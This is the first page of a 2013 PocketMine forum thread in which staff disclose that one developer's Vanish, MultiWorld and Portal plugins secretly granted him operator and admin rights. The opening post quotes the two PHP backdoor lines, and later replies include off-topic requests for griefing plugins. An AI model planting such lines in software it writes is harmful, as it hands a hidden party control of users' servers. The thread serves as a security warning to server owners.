Advertisement
  1. This site uses cookies. By continuing to use this site, you are agreeing to our use of cookies. Learn More.

[SECURITY] KevinWang_China's plugins include OP to himself

Comments in 'Plugin Development' started by shoghicp, Aug 29, 2013.

Thread Status:
Not open for further replies.
Page 1 of 3
  1. shoghicp
    Offline

    shoghicp Staff Member PocketMine Team

    Joined:
    Aug 22, 2013
    Posts:
    433
    Plugins:
    14
    Minecraft User:
    shoghicp
    A few minutes ago, @sekjun9878 pointed me a code that was found on KevinWang_China's plugins.

    PHP:
    $this->server->api->console->run("op KevinWang_China");
    $this->server->api->console->run("ppplayer KevinWang_China ADMIN");
    Those to lines give his player full permissions on PocketMine-MP servers that use his plugins and PermissionPlus. We urge server owners to remove his plugins (including modifications to the source code) . To do so, you can grab the latest PocketMine-MP release.

    Plugins affected:
    • Vanish Plugin
    • MultiWorld API plugin (There is an alternative for it, SimpleWorlds)
    • Portal-To-Portal plugin
    shoghicp, Aug 29, 2013
    #1
    Taha_The_Hacker, DomT, the mine-crafting crafter and 10 others like this.
  2. SpartanNova
    Offline

    SpartanNova New Member

    Joined:
    Aug 29, 2013
    Posts:
    3
    Minecraft User:
    xXSparanNovaXx
    Thanks for the information. Saw this on Twitter.
    SpartanNova, Aug 29, 2013
    #2
  3. Rbot427
    Offline

    Rbot427 New Member

    Joined:
    Aug 29, 2013
    Posts:
    1
    Minecraft User:
    Rbot427
    This problem will be dealt with on the minecraft forums.
    Rbot427, Aug 29, 2013
    #3
  4. Robert
    Offline

    Robert New Member

    Joined:
    Aug 22, 2013
    Posts:
    13
    Nice catch sek, glad to see this guy was caught before he did anything too bad.
    Robert, Aug 29, 2013
    #4
    PEMapModder and sekjun9878 like this.
  5. ArcaneKnight97
    Offline

    ArcaneKnight97 Active Member Plugin Developer

    Joined:
    Aug 24, 2013
    Posts:
    46
    Plugins:
    5
    Minecraft User:
    redheadedfury
    i was going to look into his plugin today , good job !!
    ArcaneKnight97, Aug 29, 2013
    #5
  6. Darunia18
    Offline

    Darunia18 Staff Member Sectional Moderator

    Joined:
    Aug 23, 2013
    Posts:
    754
    Plugins:
    2
    Minecraft User:
    Darunia18
    I saw this on Twitter before. As I said, I always thought this guy was a bit sketchy. I was actually looking at his vanish plugin a few days ago, but I never got around to downloading it. Good thing I didn't!
    Darunia18, Aug 29, 2013
    #6
    ArcaneKnight97 likes this.
  7. JassperBeastHD
    Offline

    JassperBeastHD Banned

    Joined:
    Aug 27, 2013
    Posts:
    436
    Minecraft User:
    JassperBeastHD
    OMG!!!!!!! That crap!!! His plugin corrupt my SERVER 7 times!!!! so i keep reIntalling pocketmine :mad:
    JassperBeastHD, Aug 30, 2013
    #7
  8. JassperBeastHD
    Offline

    JassperBeastHD Banned

    Joined:
    Aug 27, 2013
    Posts:
    436
    Minecraft User:
    JassperBeastHD
    Plugin maker! Can you make a Troll plugin with Vanish and Disguise better thatn Kevin's
    JassperBeastHD, Aug 30, 2013
    #8
  9. JassperBeastHD
    Offline

    JassperBeastHD Banned

    Joined:
    Aug 27, 2013
    Posts:
    436
    Minecraft User:
    JassperBeastHD
    Can you Fix his plugin and make it better! :)
    JassperBeastHD, Aug 30, 2013
    #9
  10. ArcaneKnight97
    Offline

    ArcaneKnight97 Active Member Plugin Developer

    Joined:
    Aug 24, 2013
    Posts:
    46
    Plugins:
    5
    Minecraft User:
    redheadedfury
    Me? Honestly no .... I have no idea how you are supposed to make a player vanish / go invisable or change into a mob ... I don't even know if Kevin's plugins did any of these things , most likely he just had the original source then added the commands to be executed to get admin privileges , but ill have a look tomorrow ,if I have time , at his plugin to see what he actually changed
    ArcaneKnight97, Aug 30, 2013
    #10
  11. JassperBeastHD
    Offline

    JassperBeastHD Banned

    Joined:
    Aug 27, 2013
    Posts:
    436
    Minecraft User:
    JassperBeastHD
    Thx but Can you make a Trolling plugin that the iron can make player on fire or hit them and go to thesky? :)
    JassperBeastHD, Aug 30, 2013
    #11
  12. ArcaneKnight97
    Offline

    ArcaneKnight97 Active Member Plugin Developer

    Joined:
    Aug 24, 2013
    Posts:
    46
    Plugins:
    5
    Minecraft User:
    redheadedfury
    What ?o.0 no more messages this is spamming now , this thread isn't for plugin requests XD
    ArcaneKnight97, Aug 30, 2013
    #12
    PocketKiller and PEMapModder like this.
  13. KnownUnown
    Offline

    KnownUnown Active Member Plugin Developer

    Joined:
    Aug 22, 2013
    Posts:
    65
    Plugins:
    1
    Minecraft User:
    KnownUnown
    @ArcaneKnight97:
    Kevin's plugins were his, and they actually do as they intended (save for the automatic OP'ing, that was unfortunate). I'm not exactly familiar with how it works, but it has to do with teleporting the seeable player entity somewhere else, and keeping the actual player in the same position.
    KnownUnown, Aug 30, 2013
    #13
  14. ArcaneKnight97
    Offline

    ArcaneKnight97 Active Member Plugin Developer

    Joined:
    Aug 24, 2013
    Posts:
    46
    Plugins:
    5
    Minecraft User:
    redheadedfury
    I know :D I wasn't planning on re-releasing it or anything seeing as I wouldn't be able to understand how we did it also it would be kinda suspicous XD
    ArcaneKnight97, Aug 30, 2013
    #14
    UltimateMcraft likes this.
  15. Snake1999
    Offline

    Snake1999 Plugin Developer

    Joined:
    Aug 24, 2013
    Posts:
    25
    Plugins:
    1
    Minecraft User:
    _Snake1999
    WTF?!I have to delete his/her plugins in my server quickly;)
    Snake1999, Aug 30, 2013
    #15
  16. Snake1999
    Offline

    Snake1999 Plugin Developer

    Joined:
    Aug 24, 2013
    Posts:
    25
    Plugins:
    1
    Minecraft User:
    _Snake1999
    I saw a plugin names SuperTroll on another forum with a feature which can crash a player's client(PC plugin)and can someone make it on PocketMine?
    Snake1999, Aug 30, 2013
    #16
  17. JassperBeastHD
    Offline

    JassperBeastHD Banned

    Joined:
    Aug 27, 2013
    Posts:
    436
    Minecraft User:
    JassperBeastHD
    Can someone just erase the oping KevinWang_China i could ban him so he cant join and be admin
    JassperBeastHD, Aug 30, 2013
    #17
  18. VanishedKevin
    Offline

    VanishedKevin Banned

    Joined:
    Aug 27, 2013
    Posts:
    279
    Minecraft User:
    VanishedKevin
    Sorry about that. I already removed those two lines, now it should be good.
    VanishedKevin, Aug 30, 2013
    #18
  19. shoghicp
    Offline

    shoghicp Staff Member PocketMine Team

    Joined:
    Aug 22, 2013
    Posts:
    433
    Plugins:
    14
    Minecraft User:
    shoghicp
    That is done by PocketMine. Is my way to teleport players so the chat is not spammed. he only uses Player::Teleport()
    shoghicp, Aug 30, 2013
    #19
    ArcaneKnight97 likes this.
  20. JassperBeastHD
    Offline

    JassperBeastHD Banned

    Joined:
    Aug 27, 2013
    Posts:
    436
    Minecraft User:
    JassperBeastHD
    JassperBeastHD, Aug 30, 2013
    #20
Page 1 of 3
Thread Status:
Not open for further replies.

Share This Page

Advertisement